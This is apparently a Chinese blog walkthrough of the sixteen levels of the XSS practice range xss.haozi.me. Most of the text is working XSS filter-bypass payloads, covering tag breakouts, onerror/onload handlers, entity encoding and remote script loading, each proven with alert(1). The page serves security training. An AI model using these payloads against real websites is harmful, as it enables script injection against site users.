当前位置:网站首页>XSS靶场中级绕过
XSS靶场中级绕过
2022-08-01 19:24:00 【当兵回来你可还在】
XSS靶场中级绕过解析
靶场环境—https://xss.haozi.me/
第一关:
div块是普通元素,直接写入< script >标签即可。
<script>alert(1)</script>或者<img src=1 onerror=alert(1)>或者<svg/onload=alert(1)>
第二关:
逃脱< textarea>标签,直接闭合。
</textarea><script>alert(1)</script></textarea>
第三关:
逃出双引号,闭合input。
a"><script>alert(1)</script>
第四关:
已经过滤了括号,所以利用mtml实体编码,编译成()。
<img src=1 onerror="alert(1)">
第五关:
过滤了括号,反引号,尖括号,还是利用html实体编码。
<img src=1 onerror="alert(1)">
第六关:
转化成笑脸,利用注释符,直接闭合。
--!><script>alert(1)</script><!--
第七关:
换行,然后进行过滤
type = "image" src=1 onerror
=alert(1)
第八关:
过滤了反斜杠,尖括号,标签不生效。img标签可以执行,但是不能补全标签,html会丢错。
<img src ="1" onerror="alert(1)"
第九关:
输出在< style>里面,只能出现文本,不能写js ,闭合< style>也不行。利用换行闭合。
</style
><script>alert(1)</script>
第十关:
以https://www.segmentfault.com开头,将script标签闭合。
https://www.segmentfault.com"></script><script>alert(1)//
第十一关:
还是以https://www.segmentfault.com"开头。利用重定向,新建一个txrt文件,写入alert(1)。
https://[email protected]/txrt.js
第十二关:
将所有字母转化为大写。利用实体编码,将所有字母转换为16进制。
<img src=1 onerror=" alert(1)">
第十三关:
转换成大写还过滤了script标签。
<img src=1 onerror=" alert(1)">
第十四关:
注释了所有的内容,还是利用了注释符。
alert(1)
-->
第十五关:
利用是“s”可以转化为“ſ”。
<ſcript src = "http://127.0.0.1/txrt.js"</script>或者
<ſvg/onload=alert(1)>
第十六关:
将内容转成实体编码,但是可以生效。html认识。
aa');alert(1)//
边栏推荐
- 30分钟成为Contributor|如何多方位参与OpenHarmony开源贡献?
- Screenshot of Selenium in Remote
- Pytorch模型训练实用教程学习笔记:一、数据加载和transforms方法总结
- When installing the GBase 8c database, the error message "Resource: gbase8c already in use" is displayed. How to deal with this?
- 把 Oracle 数据库从 RAC 集群迁移到单机环境
- 重保特辑|拦截99%恶意流量,揭秘WAF攻防演练最佳实践
- 如何看待腾讯云数据库负责人林晓斌借了一个亿炒股?
- 1个小时!从零制作一个! AI图片识别WEB应用!
- C#/VB.NET 从PDF中提取表格
- 【LeetCode】Day109-the longest palindrome string
猜你喜欢
随机推荐
odoo coding conventions (programming conventions, coding guidelines)
TestNG multiple xml for automated testing
[Neural Network] This article will take you to easily analyze the neural network (with an example of spoofing your girlfriend)
重保特辑|拦截99%恶意流量,揭秘WAF攻防演练最佳实践
【服务器数据恢复】服务器Raid5阵列mdisk组中多块磁盘离线的数据恢复案例
Database Plus 的云上之旅:SphereEx 正式开源 ShardingSphere on Cloud 解决方案
easyUI中datagrid中的formatter里面向后台发送请求获取数据
Find the sum of two numbers
【周赛复盘】LeetCode第304场单周赛
modbus总线模块DAM-8082
在GBase 8c数据库后台,使用什么样的命令来对gtm、dn节点进行主备切换的操作?
GBase 8c中怎么查询数据库配置参数,例如datestyle。使用什么函数或者语法呢?
The XML configuration
Flowable-based upp (unified process platform) running performance optimization
Library website construction source code sharing
How to install voice pack in Win11?Win11 Voice Pack Installation Tutorial
The solution to the vtk volume rendering code error (the code can run in vtk7, 8, 9), and the VTK dataset website
如何记录分析你的炼丹流程—可视化神器Wandb使用笔记【1】
升哲科技携全域数字化方案亮相2022全球数字经济大会
Heavy cover special | intercept 99% malicious traffic, reveal WAF offensive and defensive drills best practices